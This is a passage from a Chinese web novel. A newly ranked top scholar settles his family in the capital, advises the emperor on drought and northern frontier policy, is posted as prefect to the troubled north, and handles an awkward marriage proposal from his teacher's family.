靠翰林院附近确实清净,许是都住了钻研诗书的官员的缘故,只是这价格也居高不下。 “这再往前面走走就是国子监了,清净自在,您看,这院子宽敞干净着呢,后院还有一口井,能省不少买水钱,屋主前头也是翰林院的大人,去年到外地做官了,这可是风水宝地!”牙人张口就来,听得赵来贺心里一片火热。 “那这价格?” “这个数!” “啥?要六百俩银子?这屋子瞧着也不大啊。” “老爷误会了,是六千两。” “乖乖,这也太贵了,咱们府城三进的屋子也才四百两。”大胖惊讶。 “这位大爷说的是,只是这是京城,物价自然是旁出比不上的,再说了,这里位置好啊,您几位瞧,从这条巷子口往前走,拐一道弯走了一里就到了,这虽是二进的宅子,但是什么都齐全了,这屋里的家具也都是送给您几位的。” 赵丰年点点头,“再看看另外几家吧”。 “成嘞!” 一家人又看了几家,远一点的在两千左右,还是二进的宅子,近一点的都要五六千了,最后看中了一家稍微远些但是瞧上去比旁的二进宽敞一点的宅子,讲价后花了一千八百两。 “钱要花在刀刃上,二进的院子够了,我跟你娘一间屋,青青翠翠住西厢房,阿年东厢房,大胖委屈一点,住东耳房,前面的倒座还能待客。” “这叫啥委屈的,青青翠翠两个女孩子,我做哥哥的合该住到耳房去,阿年还要读书,刚好我在他后边,有啥事喊我一声我立马就能过去了。” 赵丰年原来是想买个三进的,私密性更好,也能让家里人住得更舒服一点,奈何赵来贺跟大胖一听到那价格,顿时坚决不同意。 第二天,赵丰年又带了巧娘跟赵青青赵翠翠一起来看那宅子,几人看了也觉得好,赵丰年这才去定了下来。 又过了一天,牙人便带着两边的人上了衙门改房契。 宅子好了,赵家也准备从傅府搬走了。 走的时候,傅老夫人格外不舍,赵青青赵翠翠给傅老夫人跟傅夫人一人做了一身斗篷,傅老夫人十分感动。 傅夫人也不舍,“以后常回来玩,雪儿也念着你们呢!” 赵丰年没用上探亲假,安顿好了之后,便打算歇息几日就去了翰林院。 就在这几日,柳小尺兄弟竟找到了京城来。 “我们一路上就听说了,新科状元是怀江府的,姓赵,我们一听,这不就是宝儿嘛!正巧在平西,快马过来不过三五天,就找过来了。” 赵家人是知道赵丰年让柳小尺兄弟帮他做事的,至于具体什么事就没过问了。 “竟然这么近,怎么早些日子没来?这一路累了吧?我去给你们烧水做饭去!一会儿吃完了好好睡一觉!”巧娘说完就走了,青青跟着上去帮忙,翠翠捧着一些干果子,递到了柳大尺面前。 “你吃。” 柳大尺憨憨一笑,接了过来,赵翠翠这才游坐在了一边。 柳小尺就笑,“这丫头,当初还是我亲自给你送到宝儿身边呢,就记得大哥了。” “谁叫她第一个看见的人是大尺哥,你后面又追了她一路,没把你当作坏人依旧很不错了。”赵丰年调侃了一句,这才问起他们近况。 “生意还成,我们在那边建了个仓库,怀江府那边阿牛哥也说一切顺利,我们出来几个月了,年节那会儿也没回去,想着你们说不准要回去一趟,索性过来接上你们一起走。” “我原本是打算雇人护送我爹娘一起,肯定不能留青青翠翠两个女孩子在京城,也不好总劳烦傅家,既然大尺小尺哥来了,我就省得去雇人了。” 柳小尺点头,几人商量好后,又过了几日,赵来贺跟巧娘就一起回临县了。 而赵来贺,则开始去翰林院了。 到了翰林院,赵来贺才发现齐晟已经在了,至于顾子昂,他本就是京城人士,自然也在。 会试之时,赵丰年为会元,顾子昂位于第二,苏景章第三,齐晟第四,一般而言,只要不是太大的差错,殿试前三跟会试前三基本不会变化,刚好苏景章长相俊美秀气,是个探花的人选,顾子昂榜眼,至于齐晟,依旧第四,二甲头名,也被安排进了翰林院,如今任检讨一职。 齐晟比赵丰年早来几日,便带着他熟悉环境。 “齐师兄此前在青州便对我多有照顾,如今到了翰林院,今日倒是有种回到书院的感觉了。” 齐晟便笑,“那时候你可把我们这帮人压的不轻,我记得离开书院之时,同窗们得知你今次也要参加会试,纷纷交代我好生发挥,给他们争口气,会试结果一出,我立马往青州送了信,怕是诸位同窗得知我如此不争气已然心痛不已了。” “齐师兄还是这般风趣。” “你来的晚了几日,没赶上好戏,前几日,咱们榜眼顾编修跟人别苗头,被刘学士瞧见了,当时脸色那叫一个难看。” 赵丰年惊讶,“那看来,我们这位同榜还是率性之人。” “哈哈哈,赵师弟讲话还是这般有意思,确实,率性之人。” 旁人见他二人关系熟稔,好奇问之,这才得知两人曾为同窗,能一起考上,即是同榜,又是同窗,此时又是同僚,皆是羡慕不已。 毕竟,这都是以后能在官场上相互扶持的。 没等众人感概,午时休息之时,竟见户部侍郎张大人找了赵编撰。 “张大人,青州一别,如今果然应了丰年当年那句话,京城再见,张大人一向可好?” 户部侍郎就是张谦了,此时也笑,“都好都好,自从知道你乡试得了解元,我就猜你定是要来京城了,果然前不久他们告诉我说会元是怀江府之人,那时就想去拜访你,又恐扰了你读书,竟是拖到了今日。” 赵丰年连忙作揖,“张大人这话就让丰年惭愧了,我来了京城,本该去拜访才是,张大人不怪我失礼才是,等得了空,我定登门拜访。” 张谦衙门里还有事,只说了几句便离开了。 齐晟便走了过来,“方才那位是户部的大人?” “正是户部侍郎张谦张大人。” “张大人模样倒是符合我对户部大人们的想象。” 赵丰年就乐了,他早就觉得张大人像个富家翁了。 “看来师兄是想之后去户部历练了。” “也只是这样想想罢了,哪里是人人都能去户部的。”六部之中,也就户部跟吏部人人向往了,而又属户部最有钱。 翰林院的升迁模式无非两种,一种是通过每三年的考核,留馆,一步一步往上走,直到内阁,另一种就是选择前往六部或者外放为官,做出一番事业,再一步一步升上去。 前一种稳扎稳打,就是熬时间,且一个萝卜一个坑,并不是你熬到了时间就能上去的,还要看有没有你的位置。 后一种,风险大,但是升职快,属于只要你干得好,总有一天再回到京城,任职京官,从六部到尚书,再兼任大学士,入内阁。 赵丰年为自己规划的是外放,只等明年新一榜的进士入了翰林院,他就准备递请求外放的折子了。 休沐的时候,赵丰年果然去了一趟张府,与此同时,还拜访了国子监祭酒周立民,也就是顾子升的老师。 赵丰年早就有了拜访周立民之意,只是此前国子监同礼部一起主持会试,为了避嫌,他方才没有去,如今一切尘埃落定,他自是要登门拜访的。 “子升跟我说了许多你的事情,可以说,我对你的事可不陌生。” “子升兄也常跟我谈起您这位老师。” 周立民起了好奇心,“哦?他都说我什么了?” 赵丰年笑,“说您对他关怀备切,耐心教导。” “就没说我喋喋不休,长篇大论?” “子升兄的性子,就是您当真如此,他也只会在一边喊‘对对对’吧?如何会觉得是不妥呢?” “哈哈哈哈哈,你说的没错,看来,你果然是了解他,不枉他视你为挚友。说来,我跟你也险些有一段师徒之缘,只是傅青云那厮,啧啧,为了躲我,以往三天两头寻我下棋的人,如今还缩在府上不肯出来呢,你得了空替我传句话给他,就说我不骂他,让他来陪我下棋。” “既是周大人的意思,我定当带到。” 翰林院是个清闲的地儿,修撰的工作并不繁重,赵丰年每日跟齐晟看看书,讨论经典古籍,难得闲暇放松。 这日,他照常坐到坐到自己的书案前,正要取典籍,却见光线被人挡住,抬眼一看,竟是榜眼顾子昂。 “听闻赵大人乃是怀江府人士,不知赵大人对怀江府官员可有了解?” 赵丰年这下肯定了,此人定然是跟顾子升是本家,他此前给顾子升的信中问他认不认识一个叫顾子昂的人,只是还未收到回信。 “顾大人可是想问怀江府同知顾大人?” 只见他面色一冷,“那等不思进取之徒,有何可问?赵大人年纪轻轻,前途无量,实在应该结交一些志同道合之人。” 赵丰年还笑着,眼里却没了笑意,“顾大人所言甚是,只是这何为志同道合,却是各人自知了。” “我是念及同榜之谊好言相劝,也言尽于此了。” 顾子昂甩袖而去,赵丰年正要坐下,却见齐晟走了过来。 “你之前认识他?” “今日第一次说话。” 齐晟惊讶,“那这位侯府公子也未免太高人一等了。” 赵丰年抬眸,“侯府?” “太平侯府,他是二房嫡子,据说自小天资聪颖,对了,我听说他曾经想要拜傅大儒为老师却被拒绝了,这样说来,你们还险些成为了师兄弟呢。” “竟还有这事。” “不过,近来北方大旱又逢外族来犯之事,前朝旧事重提,议论起对外政策,太平侯主和,被圣上骂了一顿,也那怪他气不顺找你了。” 赵丰年也知道近几个月来朝廷最重视的大事,只是没想到已经有了定论了。 “圣上决定派兵了?” “没那没容易,朝廷上主和的不少。” 齐晟叹了口气,都是少年意气,谁不想直接发兵打趴那般豺狼。 赵丰年以为这事怎么也轮不到自己管,怎料,第二天,翰林院掌院学士找到他,让他一同面圣。 第56章 第56章外放 翰林院掌院学士姓常,是个挺和气的上官,至少,赵丰年从未见过他冷着脸,而今天是头一次。 “掌院学士,可是又何要事?” 常学士看了他一眼,“今日陛下同内阁诸位大人在御书房议事,事关北地,你会试时事篇可是自己所想?” 赵丰年大概明白了,“不过是按照北地传闻推断之法,具体情况,还要看北地情形因地制宜。” “记住,一会儿面圣,也要如实说来。” 赵丰年微讶,“是,学士。” “陛下,那北方戎族屡犯我边疆,不出兵只会让蛮子越发猖狂!” “此言差矣,北地刚回归我朝版图不过两年,自前朝起,过去五十年里,北地百姓深受外族压迫,如今正应该休养生息才是。” “臣附议,连续两月来,滴雨未落,不管是北地,就是西南,也出现了大旱,这时候出兵,劳民伤财,届时北地必生灵涂炭呐!” “那蛮子也缺水少粮,正是攻打的最佳时机,不打跑蛮子,如何休养生息?” 天元帝看着底下争论不休,一直未出声,这时,身边的公公回禀人到了。 “宣。” 底下有大臣留意到,不禁好奇,却只见翰林院常学士带着个年轻的后生走了进来。 “这不是新科状元赵丰年吗?”有人认了出来。 也有人想到了,这位当初的会试殿试均对北地有所见解,只是总不至于让这么一个毛都没长齐的后生来决断。 “微臣参见陛下。” 赵丰年跟着长官一起行过礼,又见过诸内阁大臣,就听上方传来声音。 “赵丰年,想必你方才已经听到了诸位大臣的讨论,有何想法?别藏拙,把你殿试的文章都说给大家听听。” 赵丰年的后路直接被堵死了,心中暗叹这是一上来就当了靶子了。 “是陛下,臣以为,犯我边疆者,虽远必诛。” 当即主战的大人就站了出来,“看到没有,就是一个才入朝不过半年的人都知道这戎族要打!” 赵丰年继续,“没错,仗一定要打,但是,微臣愚见,眼下却并非最佳时机,方才有位大人说的没错,如今本是秋收在即,可接连数月未曾下过一场雨,无论南北,粮食减产已经是必然,微臣出生农家,知道这稻麦灌浆前需要大量水分,错过了灌浆期,粮食即便长出,也是空壳,这样一来,粮草便成了最大的问题,即便是从各地粮仓筹措,也只能解一时之困,后继乏力,此时贸然出兵,不仅北地生灵涂炭,怕是其他地方也有饥荒。” “这些方才李大人已经提过,各地也早就统计预测过今年秋收,西南北方是有所减产,只是江南粮仓是不受影响的,即便需要赈济西南,也有江南顶着。” 赵丰年看了他一眼,“是,大人所言甚是,只是,倘若这天一直不下雨呢?” 那人皱了眉头。 “秋收后,南边的冬小麦就要播种了,可是倘若继续不下雨,秋播势必会受影响,不知各位大人是否发现了,三月前,不下雨的只有北地,两个月前,西南也开始不下雨,钦天监应该有记录,这一个月来,江南已经有多地半月余未曾下雨了。” 天元帝一个眼神,身边立马有人去取钦天监的记录了。 赵丰年也是前几日整理到江南的文卷,想起这事问了祖籍江南的苏景章才知道江南部分地方也旱了半个多月。 “再者,大旱总是伴着蝗灾” 这话一出,惊得人头皮发麻。 “臣近日整理近十年的卷宗,发现八年前,西北大旱五月,有蝗灾,粮食十不存一,六年前,江北府大旱六月,有蝗灾,致春播颗粒无收;次年,江南府大旱五月,有蝗灾,官府开仓放粮,几乎耗尽所有陈粮。” 天元帝闭了闭眼,赵丰年拿不住是不是该继续,而这时候,钦天监监正也被带到了,看着屋里的架势,顿时慌乱下跪。 待天元帝问起江南雨水情况。 “这,陛下,上一次消息是在一月前,那时还是正常下雨的。” 赵丰年也不知道竟然还没记到,察觉到上方的视线,连忙解释,“回陛下,翰林院编修苏大人乃是江南人士,近几日收到家中来信,说是江南多地已有半月未曾下雨。” “从江南到京城,最快也要一月有余,信中的半月,岂不是已经一个半月了?”有大臣发现了盲点。 天元帝看了眼赵丰年,“赵丰年,你继续。” “是,陛下,方才所说粮草一事只是其一,其二,是在北地百姓。” “北地百姓因打仗生灵涂炭,这个方才已经说过了。” 一大臣插道。 赵丰年点点头,“起初,三分天下,外族霸占豫城三十余年,至太祖陛下攻下豫城,特留下人马建设豫州。” “太祖不忍生灵涂炭,可恨那前朝逼人太甚,太祖这才不得已。”有大臣开口,但大多都若有所思。 “确实,只是,卷宗记载,太祖在豫州设学堂,量田地,分牛牲,令百姓与豫州百姓同吃住,同时鼓励通婚。” “太祖是不忍豫州百姓此前被外族压迫,难以生计。” 两次打断自己的都是一人,赵丰年便多看了两眼,“是仁慈,也是计策,是被迫,也是同化。陛下,豫州当时已经被前朝割给外族三十年 ,生活方式依旧保留着中原的习惯,可是太祖依旧坚持要同化,因为三十年,足以让一些人习惯了外族,习惯当外族人,一旦动摇,则人心不稳,城邦不稳。而如今的北地,恰如当年的豫州,五十年,足够一代人长大,那么,这出生后就是外族的北地人,是否还承认自己就是大夏人呢?” 从御书房出来,回翰林院的路上,常学士一脸复杂地看着赵丰年。 “依你之才,即便在翰林院,也能平步青云,你又何必——你可知,北地那地方,两年前刚抢回来,朝廷便立了州府,派遣了官员前去,只是短短两年,已经没了五任知府,不是哭着回来,就是下落不明。” “学士好意下官铭记于心,只是,学生曾听闻‘达则兼济天下’,下官在诸位大人面前自不算什么,就是提到的那些,诸位上官已经想到了,只是,倘若因为下官的些许言语,能为诸位上官提供一些思路,北地百姓生活能因此改善一二,下官以为,已经不愧于心了。” 常学士脸色越发复杂。 “你这样倒让我想起了两年前同样提出‘同化’之人。” 赵丰年抬眼,“不知是哪大人?” 常学士却笑了,“傅青云。” 两年前,傅青云辞去太子太傅一职位,去了怀江府,两年后,他的弟子出现在了朝堂,以令人惊讶的速度引起了皇帝的关注,然后提出了傅青云一样的想法。 常学士不禁感慨。 而赵丰年忽然就明白了,为何傅青云要辞去台太子太傅了。 有些路很艰难,注定要有人蹚过浑浊的河水,但是提出渡河的人又如何不知那些去蹚水的人面临何等的危险? 近来朝廷里的氛围确实比较沉重,赵丰年回到家里,却得到了一个好消息。 顾子升调至京城,任吏部郎中。 “这样好,往后你跟小顾都在朝廷里做事,彼此都有个照应。”赵来贺十分开心。 之前他跟巧娘回临县的时候,回来的时候经过怀江府,还给顾子升送了一些山上的干货。 巧娘跟赵来贺三月底回的临县,住了一个月,回来已经七月头上了,如今快十月了,傅家傅时瑾的婚礼就在十月底,因此,巧娘也一直没去傅家,生怕扰了人家筹办婚事,直到昨日收到了傅府的请帖。 这会儿正好回来,听到这话顿觉惊喜,“小顾要来京城啦?哎呦,还真好些时日没见了。” “今日回来的这样早?” “傅家还要忙着准备婚礼的事,总不好多打扰了人家。” 巧娘只笑了笑便止住了话茬。 只是到了晚上,才拉住了赵来贺。 “我总觉得,傅夫人好像是误会了咱们。” “什么误会?” “傅家今天不是请了不少官夫人嘛,又有人问起咱儿子的婚事,我本想把话岔开过去,谁知道傅夫人说我们家有了上好的选择,还能亲上加亲什么的……” 赵来贺一脸莫名其妙,“选谁了?” 巧娘嗔了他一眼,“谁选了?是你做了主还是我做的主?我的意思是,她好像误会,咱们想把青青跟宝儿配成一对儿了!” “这哪成!他们可是是亲堂兄妹!”赵来贺大惊失色。 “我说你,是好日子过久了吃多了猪油蒙了心不成?怎么越发说糊涂话了?我们知道他们是亲兄妹,旁人不知道啊!这不是,都以为青青翠翠是我远房亲戚外甥女么!” 赵来贺思索片刻,“这也不对啊,傅家老夫人跟傅老先生是知道的。” “傅老夫人跟傅先生都是知情人不假,只是他们也知道当时的事,所以替我们隐瞒也不是没可能。” “这叫个什么事?” “可不是,我还想替青青找个好人家呢,可不能叫外头的人都误会了,这些日子我劳烦傅老夫人替我留意几家好人家,咱们这样的家庭,也不要求哪些多富贵的,只要家里和睦,人肯上进,品行又好就够了。” 赵来贺想了想,“咱们就是农家出生,找那朴素的没错,左右我们都不会亏了孩子的嫁妆,主要是,成不成的,还是要青青看不看得中的。” “那是肯定的,这不是我先替她把把关,等回头见见,成就成,不成再找就是了。只是傅夫人这一误会,我倒是不好意思去傅家了,不然回头人知道了青青是我们亲侄女,还以为刻意防着人家不告诉人家似的。” “傅家人都识大体,应当不会,咱们就当不知道这事就成了。” 傅家这边,傅老夫人正忙着巧娘托的事。 “珍娘你来的正好,来,替我瞧瞧这几个人如何。” 傅夫人是来跟傅老夫人商量儿子婚礼的。 “这些你做主就好了。” “母亲让我看什么?”傅夫人笑着接过傅老夫人手中的册子,打开一看,竟然是各家十六到二十岁之间的少年名册,还附着家世介绍。 这份名单是什么不言而喻了,傅夫人内心复杂。 “母亲,这几家都是清白的好人家,人也瞧上去有出息,只是就是这家世,会不会太低了些?” “咱们选人家,可不能只盯着人家的富贵,也要多留意其他的,这几家虽然不是什么大富大贵的公侯世家,但是家中人口简单,父母都是四邻口中的和善人,自个儿也踏实上进,小两口一起,将来日子定然过得和美。” 傅夫人眉心略松,“母亲说的也有道理,咱们这样的人家,也无所谓对方有多富贵,只要孩子日子过得好比什么都强,左右我们给雪儿的嫁妆就是最大的底气。” “雪儿?”傅老夫人惊讶。 “母亲不是替雪儿寻的么?” 傅老夫人失笑,“是我的错,事先没说清楚,这个呀,是巧娘托我给青青找的,瞧,这里还有一本,各家姑娘的册子,是给她大侄子有德找的,不过你说的也有道理,雪儿也该相看起来了,是我没考虑周全,这样,我明日就让他们再多找几本来,一道看起来。” 傅夫人惊讶,“青青,不是跟阿年一对儿么?” “怎么可能,他们——”傅老夫人忽然想起来,如今赵青青名义上是巧娘的远方表亲,不知道还真以为能成一对儿呢,不禁好笑。 “他们呀,那是从小一块儿长大的,比亲姐弟还要亲,哪里会凑一起,你是误会了,既然你也知道了,也该帮着孩子一起看看,好歹相处了小半年了,青青那孩子性格如何你也知道,落落大方,那是能做当家主母的。” 傅夫人却心念一动,“母亲觉得,阿年如何?” “阿年自然是好孩子,怎么忽然说起了阿年?” “适才母亲提了雪儿的婚事,那母亲又何必舍近求远呢?” “你是说?”傅老夫人忽然晃过神来,“这我还真没想过,不过,你说的是极!” 可不是,最好的人选就在眼前,何必舍近求远呢? 也算了一桩心事,傅老夫人就笑了,“你说你,这是惦记着这事多久了?” 傅夫人也笑,“没多久,只是我还奇怪呢,怎么母亲放着这么好的一人物,竟全然没想到自己孙女吗?” “倒还怨上我了不成?罢了罢了,既然你有这样的打算,那我过两日就请了巧娘到家里,问问他们的意思,只是,雪儿那边?” “您只管放心,我必不能叫她受委屈的。” 巧娘得知傅家有意跟他们家做亲家之时,先是吓了一跳。 心里只想着,傅家这样的人家如何是他们能高攀的,不能人家没架子对他们好就忘了身份了,因此,也没松口说行还是不行,只说回去问问家里人。 要是旁人,那傅老夫人定是觉得人家拿乔,只是她跟赵家人相处久了,也知道他们是实诚,如此也表示巧娘对这事上了心。 等巧娘走后,傅老夫人拉 着傅夫人的手,“这才叫实在人家,没有因此就高兴得一口应下,也没有摆谱,我没看错赵家!” 傅夫人也十分喜悦,只要赵家没有存了另攀高枝儿的心思,这时准能成。 傅轻雪这边得了消息,只微笑着低了头。 赵丰年还不知道这事,等他得知此事,又惊讶又不解,脑海里一瞬间闪过一张笑着的脸。 巧娘跟赵来贺都知道他对自己有规划,只说让他好好考虑,倘若不愿意,他们也好找个由头,不然真要成仇人了。 恰逢这时,顾子升回京了。 顾子升是接到了凋令回京的,他本家就在京城,因此也不必在驿馆等待召见,只休整几日直接去吏部就行。 这几日因着前朝的大事,翰林院都变得忙碌了起来,赵丰年埋头忙了两日,好不容易得了空,正想下值去寻顾子升,没料到他先一步等在翰林院门口了。 还是一样的黑,笑起来的时候露着一口白牙。 “我早打听到你近来忙得不可开交,看来常学士很重视你嘛!我还担心你会被排挤呢!” “吏部不忙?” “怎么不忙,这不是我刚过去没几日,总不好都让我来。” 两人边走边聊,眼看着要出了宫门,却被一小黄门喊住了。 “赵大人留步——” 赵丰年跟顾子升停了下来。 “顾大人,赵大人,陛下宣赵大人觐见呢!” 顾子升担忧地看着赵丰年,赵丰年轻轻摇了摇头。 “你先回去吧,我们还日再聚。” “还请公公带路。” “陛下要派你去北地?!” 翰林院,赵丰年正在规整自己整理的卷宗好跟其他人交接,没成想一抬头看见了一脸震惊不敢置信的顾子升。 “如果我没猜错,这会儿你应该在吏部?” 几个洒扫的仆从面露惊恐,显然被竟有人胆敢闯翰林院吓到了。 “你们先忙去吧,我同顾大人有事商谈。” 不远处,看到这一幕的苏景章微笑道,“赵修撰还真是人缘好,户部吏部皆有认识的大人,你说呢,顾编修?” “哼,不过装模作样。” 顾子升还在愤愤不平,“也不知道是谁,非要说什么攘外必先安内,言之凿凿北地建设好了能灭戎族,还提到什么五年十年计划!” 赵丰年微笑。 顾子升噎住。 “合着是你提出来的?!我说,你为啥啊,你知道哪里两年没了五个知府吗?知道多少人去了就回不来了吗?” “我知道。” “知道你还去?你以为朝廷里那些内阁首辅次辅他们没想到嘛?他们就是不愿意蹚这趟浑水啊,不然你以为傅太傅为什么要辞去太傅官职?运气好你能活着回来,一辈子耗在这里,运气不好命都没了!赵丰年,你是不是以为你真的很厉害啊?” 赵丰年还是头一回看到顾子升生气,也是头一回见他思路这么清晰。 “我记得你曾所过,当个父母官也挺好的,你怎知,这是不是也是我的理想呢,子升,你一定能做一个好官。” 顾子升气跑了。 赵丰年继续收拾东西,只见齐晟面露复杂地走了过来。 “赵师弟,我生平为曾敬佩什么人,但是你绝对是一个,往后有难处了,写信回来,我能帮的一定帮。” “那这些卷宗留给齐师兄帮忙整理了?” “倒也没必要现在就帮” 赵丰年笑了笑,才正色,“齐师兄,朝堂未必一片平静,今后多保重。” 赵丰年回到家里,将这事告诉了家里人。 “去北地?这是外放做官吗?”巧娘没有概念,但是赵来贺还是知道的,当即紧皱眉头,“怎么会去那里,那里原本是外族贼子的地方啊。” “两年前,边疆军同北戎大战,北戎大败,将北地归还给大夏,是以,如今那边并不属于外族之地。” 赵丰年惊讶,因为这话竟然是出自赵青青之口。 “青青,你怎么知道?”大胖也很惊讶。 赵青青抿唇一笑,“以前纺织厂跟几个北方来的行商谈生意,提了几句,我听说,那边并不太平,尽管回到了大夏,当地两大势力长久盘踞,排除外来者,是以,哪怕那边物资匮乏,生意也很难做过去。” 屋里人都十分惊叹地看着赵青青。 “还是听阿年说下去吧。” 赵丰年阖首,“我去北地的事情已经定下了,再过几日就要出发,我的意思是,这回我一个人去。” “不行,我不同意!”赵来贺第一个站了起来。 听说那边如此危险,他本来都想跟儿子说咱们不做这个官了,可也知道皇命难违,既然如此,他自然是要跟过去。 “这样,爹陪你去,你娘他们留在家里!” 巧娘抹了一把眼泪,“宝儿你说过,一家人在一起,就没什么可怕的,爹娘就你一个孩子,你要是一个人去那边,爹娘即便在家里,也是日夜忧心的,左右爹娘都从赵家村走到京城了,不如让爹娘再陪你走一段路。” “婶娘,不哭了,我们都一起去。”赵翠翠替巧娘擦了擦脸。 赵青青也笑了,“说到对北地,指不定我比你们都了解呢。” 大胖看看这个,又看看哪个,最后挠挠头,“那我肯定要去啊,不然谁给你赶车?” 赵丰年心里暖洋洋,“情形也未必如我们想象一般恶劣,北地情形特殊,北定府无人主持,陛下钦定我为知府,可带一百精兵护卫,有我在,就一定护你们周全。” 正当一家人沉浸在对未来的期待跟迷茫之时,巧娘忽然想到了一件事。 “我们要去了北地,那跟傅家那事咋弄?” 第57章 第57章北定府 自打跟傅夫人说回来跟家里人商量商量,巧娘就日夜都惦记着这事。 “还有青青跟大胖的婚事,我都看中了几家了,就等找人探口风呢。” 赵青青先是愣了愣,赵大胖则是一脸茫然。 赵丰年沉默了,他不并没有想过自己会一辈子不娶妻生子,只是以前从未考虑过这一点,提到了也只说想着顺其自然,他娘跟他提起傅府的意思后,他起初是有些抗拒的。 傅家姑娘自然是大家闺秀,只是当真的可能会定下一门婚约,他才发现,对于自己的婚事,他是不想将就的,他对傅姑娘没有感情,两人贸然结合,是对彼此的不尊重,傅青云对他恩重如山,他不能这样对他的孙女。 再者,当旨意下来,他要去北地的那一瞬间,他们就更不可能,。 “娘,此事不成,我明日去傅府见老师的时候,会亲自赔罪。” 巧娘自然也想到了,毕竟总不能让人家好好的一闺女跟着他们去北地,就是成了亲后去,人家心里都要不舒服,更何况还没成呢。 倘若不去,他们这一去还不知道多久回来,人家能等一年两年,还能等五年十年不成?这不是害了人家姑娘嘛! “哎,也是命,也许你的缘分就不在傅家姑娘身上。” 而傅府这边,傅大人下了值赶回府上,见着傅夫人的第一句话就是—— “跟赵家的事,不成了,雪儿,你放心,爹以后一定为你找一个比他赵丰年更好的。”这话说出来傅大人都有些不相信。 傅轻雪愣住了。 傅夫人懵了片刻,待回过神来,当即就坐不住了,“这话从何说起?他们已经跟你说了?不对,你在官衙里做事,那是阿年直接跟你拒婚?” 傅轻雪回过神来,看着父亲,并不作声。 “阿年被委任北定府知府,过几日就要前往北地,他在陛下面前说过什么五年十年计划,倘若可行,那就是五年,甚至要十年才能回来,倘若不行,你也知道北地什么情况,就算没把命搭在哪里,跑回来前途也没了,难道还要雪儿等着不成?” 是 啊,男子成婚晚点没什么,女子成婚晚可是要被说嘴的。 更何况,虽说这样说有些势利,当到底如今他前途不明,要是其他地方也就罢了,总归他们都能给他弄回来,可去的那是北地,那便实在是没办法了。 傅夫人使劲闭了闭眼。 “可是这事是我们先递出的话,如今我们自己反口” 傅大人叹了口气,“赵丰年是个识大体的人,赵家也不是那些攀龙附凤的人家,他们应当会主动提出来,就当,就当没说过这事吧。” 傅大人说完,又转向女儿,“雪儿,你也别太往心里去,本来两家就没定下来,只是提了一嘴,这原不算什么。” 傅轻雪垂眸,“是,父亲。” 傅大人猜的不错,第二天,赵丰年跟傅青云说完北地的局势,就开始请罪了。 傅青云也听说了这事,本来他也很看好两个孩子,只是谁知临了出了这么一桩事,便是他仍然愿意赵丰年成为自己孙女婿,儿子儿媳那边也定是不同意的。 “此事原本也不是能由得了你的,我猜,陛下刚开始留意到你,未免就没存了几分心思,徐钰去怀江府不为别的,也是为了你,陛下早就不满北地情形,迫切需要一个突破口,而你就是哪个突破口,此前你跟我讲起会试跟殿试的题,我便有所怀疑,只是没想到,竟然是不到一年看来,这场大旱加剧了北地的混乱,已经是迫在眉睫了。如此看来,你同我也只有师徒之缘了。” 告别傅青云,赵丰年又见到了傅大人。 “伯父伯母抬爱,是丰年无福了。” 傅大人满眼复杂,到底没说什么。 傅家这边解决了,赵丰年出了傅家,回头看了一眼匾额。 “胖哥,走吧。” 马车行驶到傅家街巷口,却被人拦下了。 “赵大人可方便,我家主子想见见赵大人。” 是傅轻雪身边的婢女。 赵丰年跟着来到了一处酒楼包厢,果然见到一袭红衣的傅轻雪。 婢女为二人斟茶后,退了出去。 赵丰年盯着杯中上下起伏的茶叶,问,“不知傅姑娘寻我何事?” “听闻赵大人即将前往北地,特来相送。” “多谢傅姑娘了。” “其实,我祖父乃是赵大人老师,傅赵两家又相处和睦,甚至,险些成为一家人,赵大人何必这样客气?” 赵丰年敛眸,“傅姑娘冰雪聪明,应该知道,此事已不可能。” “这就是你的回答吗?” 赵丰年看着她,“傅姑娘,你犹如天上雪,你的归属在王公贵族,而不是黄土地。” “你是说我吃不了苦?还是觉得自己无能,要让妻子吃苦?” 太直白了,赵丰年没想到看似恬静的外表下竟是这样的性格。 “如果这才是傅姑娘的性格,傅姑娘应该多做自己。” 傅轻雪晃神。 “世人皆爱女子文静淑雅,你却不一样,在怀江府,我听了许多许多关于你的事,我也很羡慕青姐姐翠姐姐,羡慕纺织厂的女工,如果没有遇见你,我会跟所有贵女一般,到了年纪,家里挑一个门当户对的,嫁过去做当家主母,然后在后院里消磨着一生,儿孙满堂。 可是,上天偏偏叫我看到了其他女子,看到了女子也可以有其他选择。” 赵丰年沉默。 “女子跟男子,本就没什么不同。” “我承认,我对赵大人有好感,我以为是男女之情,直至昨日得知我们不可能后,我忽然意识到,我待赵大人,并未男女之爱,我欢喜赵大人创造的那个可能,那个女子也可以自己的可能,青姐姐说,你给了他一笔钱,让她想想自己想要做什么,就放手去做什么,如果我跟你走,你会这样待我同样宽容吗?” 赵丰年摇头,“傅姑娘,这不是宽容,也许这叫包容,又或者,我只是告诉了青姐一个人本该有的权利。” “权利,你说的真好。”傅轻雪呢喃。 忽然,又正色道,“赵大人,我有钱,有很多很多钱,我知道你去北地做什么,也知道你需要什么,不如,我们做一笔交易,我给你钱财,你给我一种可能,如何?” 赵丰年也定定地看着她,一个倔强的傅轻雪,“傅姑娘,拐带人口是犯法的。” “自愿的就不算拐带了。” “怎么个自愿呢?” 傅轻雪微笑,“譬如,一纸婚约。” 就在赵丰年跟傅轻雪谈交易的时候,赵青青也找到了巧娘,说起了自己的想法。 “所以,婶娘就别替我操心了,婶娘对我好我知道,只是我不甘嫁做人妇,往后围着丈夫孩子灶台,忙了一辈子,也不知道忙了什么,人活一生,忙忙碌里到底为了什么,我始终想不明白,婶娘再多疼疼我一些,再多留我几年,等我想明白了,或许我会找个人嫁了,又或者我就不嫁人自立女户了,到时候就不烦婶娘了。” 巧娘叹息,摸了摸她发丝,“你不愿意,婶娘还能逼着你不成?罢了罢了。” 赵青青靠在巧娘肩膀上,眼眶微红。 就在赵家上下收拾东西准备跟赵丰年一起赴任之时,顾子升来了。 “我要跟你一起去!” 自从上回两人不欢而散,顾子升见到赵丰年正脸都没有一个,好在平日里他们一个在吏部,一个在翰林院,轻易见不着,这才没让赵丰年觉得像是小孩子在闹别扭。 “你是吏部郎中,去北地?”赵丰年看傻子一般的目光投向了他。 “我可以去跟陛下求情。” 赵丰年看了他一眼,“仗着你母亲是皇上表妹?” “你知道了?”顾子升惊讶。 “太平侯府自然不是无名之辈。” 顾子升泄气,“是啊,全京城谁不知道大名鼎鼎的太平侯府呢,难怪你问顾子昂的事,他一定跟你说了我很多坏话吧?不过,就是他不说,你肯定都知道了,外面有那么多传言呢,也确实,我就是没他聪明会读书。” “如果这能让你高兴一点的话,其实他不大搭理我。” “真的?” 赵丰年眯眼,“你这个雀跃的表情是认真的吗?” 